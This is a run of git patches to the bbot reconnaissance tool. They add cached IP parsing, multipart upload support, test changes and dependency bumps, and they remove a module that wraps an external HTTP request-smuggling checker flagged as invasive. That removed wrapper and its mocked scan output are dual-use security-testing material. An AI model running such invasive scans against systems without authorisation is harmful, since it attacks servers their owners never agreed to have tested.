| 5 +- bbot/core/event/helpers.py | 11 ++-- bbot/core/helpers/misc.py | 85 ++++++++++++++++++++--------- bbot/modules/internal/dnsresolve.py | 4 +- 4 files changed, 68 insertions(+), 37 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4ffbe7dc40..1b65cf22a9 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -35,6 +35,7 @@ domain_stem, make_netloc, make_ip_type, + cached_ip_address, recursive_decode, sha1, smart_decode, @@ -1207,7 +1208,7 @@ def _data_human(self): class IP_ADDRESS(BaseEvent): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - ip = ipaddress.ip_address(self.data) + ip = cached_ip_address(self.data) self.add_tag(f"ipv{ip.version}") if ip.is_private: self.add_tag("private-ip") @@ -1217,7 +1218,7 @@ def sanitize_data(self, data): return validators.validate_host(data) def _host(self): - return ipaddress.ip_address(self.data) + return cached_ip_address(self.data) class DnsEvent(BaseEvent): diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index 48c440f691..93a8b50cf9 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -1,9 +1,8 @@ -import ipaddress import regex as re from functools import cached_property from bbot.errors import ValidationError from bbot.core.helpers import validators -from bbot.core.helpers.misc import split_host_port, make_ip_type +from bbot.core.helpers.misc import split_host_port, make_ip_type, cached_ip_address, cached_ip_network from bbot.core.helpers import regexes, smart_decode, smart_encode_punycode bbot_event_seeds = {} @@ -151,13 +150,13 @@ class IP_ADDRESS(BaseEventSeed): @staticmethod def precheck(data): try: - return ipaddress.ip_address(data) + return cached_ip_address(data) except ValueError: return False @staticmethod def _sanitize_and_extract_host(data): - validated = ipaddress.ip_address(data) + validated = cached_ip_address(data) return str(validated), validated, None @@ -176,13 +175,13 @@ class IP_RANGE(BaseEventSeed): @staticmethod def precheck(data): try: - return ipaddress.ip_network(str(data), strict=False) + return cached_ip_network(str(data)) except ValueError: return False @staticmethod def _sanitize_and_extract_host(data): - validated = ipaddress.ip_network(str(data), strict=False) + validated = cached_ip_network(str(data)) return str(validated), validated, None diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 5b2a9ae7d6..da34e051fc 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -7,6 +7,7 @@ import string import asyncio import logging +import functools import ipaddress import regex as re import subprocess as sp @@ -617,11 +618,11 @@ def is_ip(d, version=None, include_network=False): """ ip = None try: - ip = ipaddress.ip_address(d) + ip = cached_ip_address(d) except Exception: if include_network: try: - ip = ipaddress.ip_network(d, strict=False) + ip = cached_ip_network(d) except Exception: pass if ip is not None and (version is None or ip.version == version): @@ -657,6 +658,39 @@ def is_ip_type(i, network=None): return ipaddress._IPAddressBase in i.__class__.__mro__ +# Valid characters in any IP address or CIDR string: hex digits, dot, colon, +# slash (prefix length), and percent (IPv6 zone ID). A typical hostname like +# "google.com" fails this check at its first letter. +_IP_CHARS = frozenset("0123456789abcdefABCDEF.:/%") + + +def _looks_like_ip(s): + """Cheap reject for strings that obviously aren't IPs/CIDRs.""" + for c in s: + if c not in _IP_CHARS: + return False + return True + + +@functools.lru_cache(maxsize=16384) +def cached_ip_address(s): + """ + Cached wrapper around `ipaddress.ip_address()`. Same semantics: returns an + IPv4Address/IPv6Address, or raises ValueError. Exceptions are not cached. + """ + return ipaddress.ip_address(s) + + +@functools.lru_cache(maxsize=16384) +def cached_ip_network(s): + """ + Cached wrapper around `ipaddress.ip_network(strict=False)`. Same semantics. + Exceptions are not cached. + """ + return ipaddress.ip_network(s, strict=False) + + +@functools.lru_cache(maxsize=16384) def make_ip_type(s): """ Convert a string to its corresponding IP address or network type. @@ -682,12 +716,20 @@ def make_ip_type(s): """ if not s: raise ValueError(f'Invalid hostname: "{s}"') - # IP address - with suppress(Exception): + # Pass through anything that isn't a string (e.g. an already-parsed IP object). + if not isinstance(s, str): + return s + # Skip the expensive ipaddress parse+raise path for obvious non-IPs. + if not _looks_like_ip(s): + return s + try: return ipaddress.ip_address(s) - # IP network - with suppress(Exception): + except ValueError: + pass + try: return ipaddress.ip_network(s, strict=False) + except ValueError: + pass return s @@ -2559,27 +2601,16 @@ def weighted_shuffle(items, weights): ['banana', 'apple', 'cherry'] Note: - The sum of all weights does not have to be 1. They will be normalized internally. - """ - # Create a list of tuples where each tuple is (item, weight) - pool = list(zip(items, weights)) - - shuffled_items = [] - - # While there are still items to be chosen... - while pool: - # Normalize weights - total = sum(weight for item, weight in pool) - weights = [weight / total for item, weight in pool] - - # Choose an index based on weight - chosen_index = random.choices(range(len(pool)), weights=weights, k=1)[0] - - # Add the chosen item to the shuffled list - chosen_item, chosen_weight = pool.pop(chosen_index) - shuffled_items.append(chosen_item) - - return shuffled_items + Weights must be positive. The sum does not need to be 1. + """ + # Give each item a random number, but skewed by its weight + # (heavier weight → number closer to 1). Sort by that number, + # highest first. Items with bigger weights are more likely to + # end up near the top, but every item still has a chance. + rand = random.random + keyed = [(rand() ** (1.0 / w), item) for item, w in zip(items, weights)] + keyed.sort(key=lambda x: x[0], reverse=True) + return [item for _, item in keyed] def parse_port_string(port_string): diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 2e90c5f9f8..36b05c0950 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -1,10 +1,10 @@ import sys -import ipaddress from contextlib import suppress from blastdns import DNSResult from bbot.errors import ValidationError +from bbot.core.helpers.misc import cached_ip_address from bbot.core.helpers.dns.helpers import all_rdtypes, extract_targets, record_to_text from bbot.modules.base import BaseInterceptModule, BaseModule @@ -297,7 +297,7 @@ async def resolve_event(self, event, types): event.dns_children[_rdtype] = {host} # check for private IPs try: - ip = ipaddress.ip_address(host) + ip = cached_ip_address(host) if ip.is_private: event.add_tag("private-ip") except ValueError: From c171610fa0447264a6d26e721989c3eb682f7cb4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 12 May 2026 21:31:11 -0400 Subject: [PATCH 642/912] use MappingProxyType for _EMPTY_DICT to prevent singleton poisoning --- bbot/core/event/base.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 35c21de8d0..2bf59e62a8 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -14,6 +14,7 @@ from typing import Optional from zoneinfo import ZoneInfo from copy import copy, deepcopy +from types import MappingProxyType from contextlib import suppress from radixtarget import RadixTarget from pydantic import BaseModel, field_validator @@ -57,7 +58,7 @@ # container before mutating, so callers never see the singletons in a # mutable position. _EMPTY_FROZENSET: "frozenset[str]" = frozenset() -_EMPTY_DICT: "dict" = {} +_EMPTY_DICT = MappingProxyType({}) class BaseEvent: From a191047f391e24f9c3ed9dc8c8e50dad7e620d82 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 12 May 2026 22:21:59 -0400 Subject: [PATCH 643/912] revert _is_graph_important change; keep JS URL orphan repro test MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The original change in this PR allowed _omit=True events into output if they were also _graph_important. After tracing every assignment, that combination is structurally unreachable through normal scan flow — _graph_important is only ever set in manager.py:254 against event.get_parent(), which by design skips _omit parents. The black-box reproducer (TestJSONGraphOrphanJSURL) walks a real JS URL chain end-to-end and confirms no parent_uuid orphans appear in output.json with or without the change. --- bbot/modules/base.py | 2 +- bbot/test/test_step_1/test_modules_basic.py | 19 ------ .../module_tests/test_module_json.py | 68 +++++++++++++++++++ 3 files changed, 69 insertions(+), 20 deletions(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 16f7ab8723..39b4064c88 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1569,7 +1569,7 @@ def log_table(self, *args, **kwargs): return table def _is_graph_important(self, event): - return self.preserve_graph and getattr(event, "_graph_important", False) + return self.preserve_graph and getattr(event, "_graph_important", False) and not getattr(event, "_omit", False) @property def preserve_graph(self): diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 8caec9f076..ab0259a306 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -103,25 +103,6 @@ async def test_modules_basic_checks(events, blasthttp_mock): assert result is False assert reason == "its type is omitted in the config" - # graph-important omitted events should be accepted by output modules with _preserve_graph - # this prevents graph orphans when e.g. a JS URL (URL_UNVERIFIED, omitted) discovers a DNS_NAME - graph_output_module = BaseOutputModule(scan) - graph_output_module.watched_events = ["*"] - graph_output_module._preserve_graph = True - js_url = scan.make_event("http://evilcorp.com/app.js", "URL_UNVERIFIED", parent=scan.root_event) - js_url._omit = True - js_url._graph_important = True - result, reason = graph_output_module._event_precheck(js_url) - assert result is True, ( - f"graph-important omitted event should be accepted by preserve_graph module, but got: {reason}" - ) - # non-preserve_graph modules should still reject omitted events even if graph-important - non_graph_output_module = BaseOutputModule(scan) - non_graph_output_module.watched_events = ["*"] - non_graph_output_module._preserve_graph = False - result, reason = non_graph_output_module._event_precheck(js_url) - assert result is False, "graph-important omitted event should be rejected by non-preserve_graph module" - # always_emit should bypass the internal check finding_data2 = { "host": "evilcorp.com", diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index 61ed7fc1f3..163fe62421 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -53,3 +53,71 @@ def check(self, module_test, events): assert dns_reconstructed.discovery_context == context_data assert dns_reconstructed.discovery_path == [context_data] assert dns_reconstructed.parent_chain == [dns_json["uuid"]] + + +class TestJSONGraphOrphanJSURL(ModuleTestBase): + """ + Reproducer for https://github.com/blacklanternsecurity/bbot/issues/1151 + + JS URLs get _omit=True (URL_UNVERIFIED is in default omit_event_types) and + _internal=True (.js is a special extension). If a graph-worthy event is + discovered with a JS URL ancestor, every event in the JSON output must + reference a parent that is also in the output (no orphans). + """ + + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "excavate", "json"] + # The test conf clears omit_event_types — restore the production default so + # URL_UNVERIFIED (which JS URLs use) actually gets _omit=True by ScanEgress. + config_overrides = { + "scope": {"report_distance": 2}, + "web": {"spider_distance": 5, "spider_depth": 5}, + "omit_event_types": [ + "HTTP_RESPONSE", + "RAW_TEXT", + "URL_UNVERIFIED", + "DNS_NAME_UNRESOLVED", + "FILESYSTEM", + "WEB_PARAMETER", + "RAW_DNS_RECORD", + ], + } + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={ + "response_data": "", + "headers": {"Content-Type": "text/html"}, + }, + ) + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/asdf.js"}, + respond_args={ + "response_data": "var leak = 'http://orphan-test.evilcorp.com/path';", + "headers": {"Content-Type": "application/javascript"}, + }, + ) + + def check(self, module_test, events): + txt_file = module_test.scan.home / "output.json" + lines = list(module_test.scan.helpers.read_file(txt_file)) + assert lines, "json output is empty" + json_events = [json.loads(line) for line in lines] + + uuids = {e["uuid"] for e in json_events} + orphans = [] + for e in json_events: + parent_uuid = e.get("parent_uuid") + if parent_uuid and parent_uuid not in uuids: + orphans.append((e["type"], e.get("data"), parent_uuid)) + + assert not orphans, f"found {len(orphans)} graph orphan(s) — parent_uuid not present in output:\n" + "\n".join( + f" - {t}: {d!r} -> missing parent {p}" for t, d, p in orphans + ) + + # sanity: scan must have actually walked the JS chain + all_text = "\n".join(lines) + assert ".js" in all_text or "asdf" in all_text, ( + f"test scenario did not exercise the JS URL chain. JSON contents:\n{all_text}" + ) From 8e1ee99e7f09e4ae6614ef0a9c1084bfdc77118d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 13 May 2026 12:08:46 -0400 Subject: [PATCH 644/912] remove smuggler module Outdated and unmaintained. Will be replaced by badhttp (in early development). --- bbot/modules/smuggler.py | 54 ----------------- .../module_tests/test_module_smuggler.py | 60 ------------------- 2 files changed, 114 deletions(-) delete mode 100644 bbot/modules/smuggler.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_smuggler.py diff --git a/bbot/modules/smuggler.py b/bbot/modules/smuggler.py deleted file mode 100644 index 5964a3bf99..0000000000 --- a/bbot/modules/smuggler.py +++ /dev/null @@ -1,54 +0,0 @@ -import sys - -from bbot.modules.base import BaseModule - - -""" -wrapper for https://github.com/defparam/smuggler.git -""" - - -class smuggler(BaseModule): - watched_events = ["URL"] - produced_events = ["FINDING"] - flags = ["active", "loud", "invasive", "slow", "web-heavy"] - meta = {"description": "Check for HTTP smuggling", "created_date": "2022-07-06", "author": "@liquidsec"} - - in_scope_only = True - per_hostport_only = True - - deps_ansible = [ - { - "name": "Get smuggler repo", - "git": {"repo": "https://github.com/defparam/smuggler.git", "dest": "#{BBOT_TOOLS}/smuggler"}, - } - ] - - async def handle_event(self, event): - command = [ - sys.executable, - f"{self.scan.helpers.tools_dir}/smuggler/smuggler.py", - "--no-color", - "-q", - "-u", - event.url, - ] - async for line in self.run_process_live(command): - for f in line.split("\r"): - if "Issue Found" in f: - technique = f.split(":")[0].rstrip() - text = f.split(":")[1].split("-")[0].strip() - description = f"[HTTP SMUGGLER] [{text}] Technique: {technique}" - await self.emit_event( - { - "host": str(event.host), - "url": event.url, - "description": description, - "name": "Possible HTTP Smuggling", - "severity": "MEDIUM", - "confidence": "LOW", - }, - "FINDING", - parent=event, - context=f"{{module}} scanned {event.url} and found HTTP smuggling ({{event.type}}): {text}", - ) diff --git a/bbot/test/test_step_2/module_tests/test_module_smuggler.py b/bbot/test/test_step_2/module_tests/test_module_smuggler.py deleted file mode 100644 index dc178df807..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_smuggler.py +++ /dev/null @@ -1,60 +0,0 @@ -from .base import ModuleTestBase - -smuggler_text = r""" - ______ _ - / _____) | | - ( (____ ____ _ _ ____ ____| | _____ ____ - \____ \| \| | | |/ _ |/ _ | || ___ |/ ___) - _____) ) | | | |_| ( (_| ( (_| | || ____| | - (______/|_|_|_|____/ \___ |\___ |\_)_____)_| - (_____(_____| - - @defparam v1.1 - - [+] URL : http://127.0.0.1:8888 - [+] Method : POST - [+] Endpoint : / - [+] Configfile : default.py - [+] Timeout : 5.0 seconds - [+] Cookies : 1 (Appending to the attack) - [nameprefix1] : Checking TECL... - [nameprefix1] : Checking CLTE... - [nameprefix1] : OK (TECL: 0.61 - 405) (CLTE: 0.62 - 405) - [tabprefix1] : Checking TECL...git - [tabprefix1] : Checking CLTE... - [tabprefix1] : Checking TECL... - [tabprefix1] : Checking CLTE... - [tabprefix1] : Checking TECL... - [tabprefix1] : Checking CLTE... - [tabprefix1] : Potential CLTE Issue Found - POST @ http://127.0.0.1:8888 - default.py - [CRITICAL] : CLTE Payload: /home/user/.bbot/tools/smuggler/payloads/http_127.0.0.1_net_CLTE_tabprefix1.txt URL: http://127.0.0.1:8888/ - """ - - -class TestSmuggler(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] - modules_overrides = ["http", "smuggler"] - - async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def smuggler_mock_run_live(*command, **kwargs): - if "smuggler" not in command[0][1]: - async for l in old_run_live(*command, **kwargs): - yield l - else: - for line in smuggler_text.splitlines(): - yield line - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", smuggler_mock_run_live) - - request_args = {"uri": "/"} - respond_args = {"response_data": "alive"} - module_test.set_expect_requests(request_args, respond_args) - - def check(self, module_test, events): - assert any( - e.type == "FINDING" - and "[HTTP SMUGGLER] [Potential CLTE Issue Found] Technique: [tabprefix1]" in e.data["description"] - for e in events - ), "Failed to parse mocked command output" From 2dc7d3dcf907bd086166a451167f15b6c6ccf430 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 14 May 2026 12:14:35 -0400 Subject: [PATCH 645/912] bump blasthttp to 0.6.0, pass files= through WebHelper - WebHelper.request() drops the silent files= warning and forwards files= to blasthttp; body=bytes also flows through as bytes - mock_blasthttp.py stops stripping files= and now mirrors WebHelper's body/files handling for the in-process test mock - new test_web_request_files_multipart end-to-end test posts a multipart payload via self.helpers.request(files=...) and asserts the wire body and Content-Type boundary --- bbot/core/helpers/web/web.py | 7 +- bbot/test/mock_blasthttp.py | 48 +++++++------ bbot/test/test_step_1/test_web.py | 39 +++++++++++ pyproject.toml | 2 +- uv.lock | 112 +++++++++++++++--------------- 5 files changed, 127 insertions(+), 81 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 7d9bb18ff1..c0357b9393 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -100,6 +100,7 @@ def _build_blasthttp_kwargs(self, url, **kwargs): headers = kwargs.pop("headers", None) or {} body = kwargs.pop("body", None) data = kwargs.pop("data", None) + files = kwargs.pop("files", None) json_body = kwargs.pop("json", None) timeout = kwargs.pop("timeout", self._http_timeout) follow_redirects = kwargs.pop("follow_redirects", None) @@ -191,7 +192,9 @@ def _build_blasthttp_kwargs(self, url, **kwargs): } if body is not None: - blast_kwargs["body"] = str(body) + blast_kwargs["body"] = body if isinstance(body, (bytes, bytearray)) else str(body) + if files is not None: + blast_kwargs["files"] = files if follow_redirects is not None: blast_kwargs["follow_redirects"] = follow_redirects if max_redirects is not None: @@ -253,8 +256,6 @@ async def request(self, *args, **kwargs): kwargs.pop("cache_for", None) kwargs.pop("client", None) kwargs.pop("stream", None) - if kwargs.pop("files", None) is not None: - log.warning("blasthttp does not support multipart file uploads (files= kwarg)") # allow vs follow allow_redirects = kwargs.pop("allow_redirects", None) diff --git a/bbot/test/mock_blasthttp.py b/bbot/test/mock_blasthttp.py index d86f3460d8..d0357208d7 100644 --- a/bbot/test/mock_blasthttp.py +++ b/bbot/test/mock_blasthttp.py @@ -69,7 +69,7 @@ async def handle_engine_request(self, web_helper_self, *args, **kwargs): into a body, then dispatches via ``self._inner.request(...)``. """ raise_error = kwargs.pop("raise_error", False) - for k in ("cache_for", "client", "stream", "files"): + for k in ("cache_for", "client", "stream"): kwargs.pop(k, None) allow_redirects = kwargs.pop("allow_redirects", None) @@ -86,6 +86,7 @@ async def handle_engine_request(self, web_helper_self, *args, **kwargs): headers = kwargs.pop("headers", None) or {} body = kwargs.pop("body", None) data = kwargs.pop("data", None) + files = kwargs.pop("files", None) json_body = kwargs.pop("json", None) cookies = kwargs.pop("cookies", None) auth = kwargs.pop("auth", None) @@ -106,28 +107,33 @@ async def handle_engine_request(self, web_helper_self, *args, **kwargs): if cookies: headers["Cookie"] = "; ".join(f"{ck}={cv}" for ck, cv in cookies.items()) - # Assemble body for handler-side matching/dispatch. - body_str = "" - if json_body is not None: - body_str = _json.dumps(json_body) - headers.setdefault("Content-Type", "application/json") - elif data is not None: - if isinstance(data, dict): - body_str = urlencode(data) - headers.setdefault("Content-Type", "application/x-www-form-urlencoded") - else: - body_str = str(data) - elif body is not None: - body_str = str(body) + # Assemble body for handler-side matching/dispatch. files= wins (multipart), + # then json, then data, then raw body. + final_body = b"" + if files is None: + if json_body is not None: + final_body = _json.dumps(json_body) + headers.setdefault("Content-Type", "application/json") + elif data is not None: + if isinstance(data, dict): + final_body = urlencode(data) + headers.setdefault("Content-Type", "application/x-www-form-urlencoded") + else: + final_body = data if isinstance(data, (bytes, bytearray)) else str(data) + elif body is not None: + final_body = body if isinstance(body, (bytes, bytearray)) else str(body) try: - return await self._inner.request( - url, - method=method, - headers=headers, - body=body_str, - follow_redirects=follow_redirects, - ) + inner_kwargs = { + "method": method, + "headers": headers, + "follow_redirects": follow_redirects, + } + if files is not None: + inner_kwargs["files"] = files + else: + inner_kwargs["body"] = final_body + return await self._inner.request(url, **inner_kwargs) except Exception as e: import logging diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 2b333bda2c..b7ff82a4e2 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -86,6 +86,45 @@ def server_handler(request): await scan._cleanup() +@pytest.mark.asyncio +async def test_web_request_files_multipart(bbot_scanner, bbot_httpserver): + """httpx-style files= kwarg builds a multipart/form-data body.""" + captured = {} + + def server_handler(request): + from werkzeug.wrappers import Response + + captured["body"] = request.get_data() + captured["content_type"] = request.headers.get("Content-Type", "") + return Response("ok") + + bbot_httpserver.expect_request(uri="/upload", method="POST").respond_with_handler(server_handler) + url = bbot_httpserver.url_for("/upload") + + scan = bbot_scanner() + await scan._prep() + + response = await scan.helpers.request( + url, + method="POST", + files={ + "field": (None, "value"), + "f": ("blob", b"\x00\x01\x02hello", "application/octet-stream"), + }, + ) + assert response.status_code == 200 + + ct = captured["content_type"] + assert ct.startswith("multipart/form-data; boundary=") + body = captured["body"] + assert b'name="field"' in body + assert b"value" in body + assert b'filename="blob"' in body + assert b"\x00\x01\x02hello" in body + + await scan._cleanup() + + @pytest.mark.asyncio async def test_web_helpers(bbot_scanner, bbot_httpserver, blasthttp_mock): # json conversion diff --git a/pyproject.toml b/pyproject.toml index 5658d9c385..a596a21fa8 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=10.0.0,<11", - "blasthttp>=0.5.1", + "blasthttp>=0.6.0", "blastdns>=1.9.0,<2", ] diff --git a/uv.lock b/uv.lock index 2b4a19bdd7..55e38b5f9c 100644 --- a/uv.lock +++ b/uv.lock @@ -268,7 +268,7 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "blasthttp", specifier = ">=0.5.1" }, + { name = "blasthttp", specifier = ">=0.6.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=10.0.0,<11" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, @@ -293,7 +293,7 @@ requires-dist = [ { name = "tabulate", specifier = "==0.8.10" }, { name = "tldextract", specifier = ">=5.3.0,<6" }, { name = "unidecode", specifier = ">=1.3.8,<2" }, - { name = "websockets", specifier = ">=14.0.0,<16.0.0" }, + { name = "websockets", specifier = ">=14.0.0,<17.0.0" }, { name = "wordninja", specifier = ">=2.0.0,<3" }, { name = "xmltojson", specifier = ">=2.0.2,<3" }, { name = "xxhash", specifier = ">=3.5.0,<4" }, @@ -450,60 +450,60 @@ wheels = [ [[package]] name = "blasthttp" -version = "0.5.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/f3/87/743522a80b4638f0bd62d55d5e650c1397b311916c24d7581c00b1f2b7db/blasthttp-0.5.1.tar.gz", hash = "sha256:5aa7004eb96cc7be9677bf70641e142c000dd1cd16f63783d1eeec27ac165572", size = 137955, upload-time = "2026-05-07T18:29:12.905Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/50/2a/63176160b883a0e54c3083f434fe66673381352b0fd3ea775065ae53f1c5/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:95418e10c61bb8a34c75fc22ff841dc7ca07dfe28ab242db9eef408a98002abb", size = 4755999, upload-time = "2026-05-07T18:27:33.187Z" }, - { url = "https://files.pythonhosted.org/packages/9d/17/5af611bb6c37548c3de514ba74258db61cdde969991e52bb0c688a0785e0/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:636281fec4a237c5f388957ea4f12bbf8f83f441390c5781653ee95fc9203d20", size = 4060750, upload-time = "2026-05-07T18:27:43.913Z" }, - { url = "https://files.pythonhosted.org/packages/57/17/6eb6d7c6b8ae201ef0276d2ec6c6ecc24973e0e2c61131cd83641c8b840d/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:782b58702c565254f3c04d6abd526b982c1c37f2e67b91e909e648db942a494a", size = 4650132, upload-time = "2026-05-07T18:28:13.893Z" }, - { url = "https://files.pythonhosted.org/packages/1c/e5/9f28983f6f3c3eeb8bd64e0a71b11e729909c69a5ff7fc6e181036e0bd79/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:fe61ff9488c1b5e861bdd34b05891a83b137ec15bb9dbf3299e550a8a02aabdf", size = 4662736, upload-time = "2026-05-07T18:27:53.704Z" }, - { url = "https://files.pythonhosted.org/packages/b7/33/221616e23c829ada6bada7aa7103afea8f93b905a98576cac17881150475/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:4068e53d2b7a99909ecbcb3d636439f8eecce2ef2c8605f63bba51848a97f85f", size = 4266449, upload-time = "2026-05-07T18:28:04.038Z" }, - { url = "https://files.pythonhosted.org/packages/3a/a6/addfad565f765d7c1ff78b16862e4698056de1ac046c87ea2e309ee45cd7/blasthttp-0.5.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:d9ff490b8dd7b7ecb8372308d08091cd0ef495dc67b3af1420b38174b9161946", size = 4403803, upload-time = "2026-05-07T18:28:23.814Z" }, - { url = "https://files.pythonhosted.org/packages/47/04/fb2d63d12d067767a1b0ba2c505e76b26cea62f07644b2c90d6f2b0f721d/blasthttp-0.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:94c216d0ec4726b07935944a1fa4c7a38042130c89d7cb892d0d79753b793325", size = 5046967, upload-time = "2026-05-07T18:28:33.161Z" }, - { url = "https://files.pythonhosted.org/packages/84/30/dbcd4d7617ba28da4f2fe8eccdbfdb5127857163d3c533dcab8546911c19/blasthttp-0.5.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:4af762a68e17516b912a21ea7639fb294f70c81033a86fba927294eae37cc18a", size = 4364595, upload-time = "2026-05-07T18:28:43.383Z" }, - { url = "https://files.pythonhosted.org/packages/3e/8c/c4625cf90cc8b3aa6dc8cd06294133b415ce134d47138e2deacad3ac16a2/blasthttp-0.5.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:1d3f26b8a43b3c2cf99dab640cbc8abd6257199c72e3f302959bd9ad27feca40", size = 4782547, upload-time = "2026-05-07T18:28:54.075Z" }, - { url = "https://files.pythonhosted.org/packages/a4/b8/7461bc2396f501b7c8273285a28134200fa1ac106e5faea0e4d6a984a0fc/blasthttp-0.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:38f2f573a3e3d6efaf83266e7ac5ee54b272287b74e9e539020f6b77bf9cb2a2", size = 4750218, upload-time = "2026-05-07T18:29:03.441Z" }, - { url = "https://files.pythonhosted.org/packages/34/88/1fc3e0a9fea99ab101eb57c31f639139d5eed7be032f4f2aa9370a65f76f/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:bcddfa279c301ae6ee0b2753389db896a7bbc08d012f41e2c9ef97814e73c3f6", size = 4752484, upload-time = "2026-05-07T18:27:35.287Z" }, - { url = "https://files.pythonhosted.org/packages/07/7e/5b75a6d28fcc8fc5c7076960909ff4cbdd075724e1f980965c00f7973832/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:b916982c34aed04e0e6ba13832c7b44ee924e989751f9bb988728f53ea7c6e42", size = 4057857, upload-time = "2026-05-07T18:27:45.652Z" }, - { url = "https://files.pythonhosted.org/packages/30/ad/9c566ea8a176f404d7f715b15c04fdd9ce53f7986342c924cfca7b7f92e0/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:48cb954a104c2a84f3ea8fecd819ce2c2cff797b51cfb24ac00286c5e1ecb150", size = 4645668, upload-time = "2026-05-07T18:28:15.714Z" }, - { url = "https://files.pythonhosted.org/packages/5d/ac/c8c9e622e0fcf9a8843a1f66cbb1467e3b6ad789051a7ce2f2ebade1fde0/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:b256681548199fb0a7f9bf317592a394b927d5769602dd4b206ee59bfde25010", size = 4658128, upload-time = "2026-05-07T18:27:55.922Z" }, - { url = "https://files.pythonhosted.org/packages/5c/ce/e4ea0b8a068c5e86cd461473066a0e8e3e6c4556a96edf58d5a7e9511975/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:89b6b5c3e5603b34a570db331d5fba0d3651e347d3ff87ecae9e7dc59a296a0b", size = 4264160, upload-time = "2026-05-07T18:28:06.032Z" }, - { url = "https://files.pythonhosted.org/packages/a4/dc/01fd77bdd401d4375e6407a06e1e2c7b6860e8813c67ab9977f016663763/blasthttp-0.5.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:257520128a4009f577b63de72b6bee47e37f06b669a503f74d7de868fc04c186", size = 4402098, upload-time = "2026-05-07T18:28:25.626Z" }, - { url = "https://files.pythonhosted.org/packages/96/33/103f121023609d4b75123e019cdcfc2aee3ebb87518db93c2fcb4de6688c/blasthttp-0.5.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b70cc21ffb61a8bef833ec4e94fe82daef7aa449cf5638bb44987d6b5b8145e1", size = 5044456, upload-time = "2026-05-07T18:28:35.141Z" }, - { url = "https://files.pythonhosted.org/packages/78/2f/9f4c93d6ec8ecd75e5218cbf9b8fbe5addb9e031f66806045462366180cd/blasthttp-0.5.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:89cc27ac11495ad123f31ebe4c9c750a54782bf225375305c0a25637a4b5a40e", size = 4358153, 